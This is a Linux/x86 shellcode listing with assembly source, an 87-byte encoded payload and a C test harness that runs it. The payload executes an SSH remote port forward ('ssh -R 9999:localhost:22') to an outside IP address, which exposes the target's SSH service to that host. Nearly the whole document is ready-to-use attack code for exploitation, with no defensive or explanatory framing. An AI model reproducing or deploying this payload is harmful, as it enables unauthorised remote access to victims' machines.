***************************************************** * Linux/x86 Remote Port forwarding 87 bytes * ssh -R 9999:localhost:22 192.168.0.226 ***************************************************** * Author: Hamza Megahed ***************************************************** * Twitter: @Hamza_Mega ***************************************************** * blog: hamza-mega[dot]blogspot[dot]com ***************************************************** * E-mail: hamza[dot]megahed[at]gmail[dot]com ***************************************************** xor %eax,%eax push %eax pushl $0x3632322e pushl $0x30302e38 pushl $0x36312e32 pushw $0x3931 movl %esp,%esi push %eax push $0x32323a74 push $0x736f686c push $0x61636f6c push $0x3a393939 pushw $0x3930 movl %esp,%ebp push %eax pushw $0x522d movl %esp,%edi push %eax push $0x6873732f push $0x6e69622f push $0x7273752f movl %esp,%ebx push %eax push %esi push %ebp push %edi push %ebx movl %esp,%ecx mov $0xb,%al int $0x80 ******************************** #include <stdio.h> #include <string.h> char *shellcode = "\x31\xc0\x50\x68\x2e\x32\x32\x36\x68\x38\x2e\x30\x30\x68\x32\x2e\x31\x36" "\x66\x68\x31\x39\x89\xe6\x50\x68\x74\x3a\x32\x32\x68\x6c\x68\x6f\x73\x68" "\x6c\x6f\x63\x61\x68\x39\x39\x39\x3a\x66\x68\x30\x39\x89\xe5\x50\x66\x68" "\x2d\x52\x89\xe7\x50\x68\x2f\x73\x73\x68\x68\x2f\x62\x69\x6e\x68\x2f\x75" "\x73\x72\x89\xe3\x50\x56\x55\x57\x53\x89\xe1\xb0\x0b\xcd\x80"; int main(void) { fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; }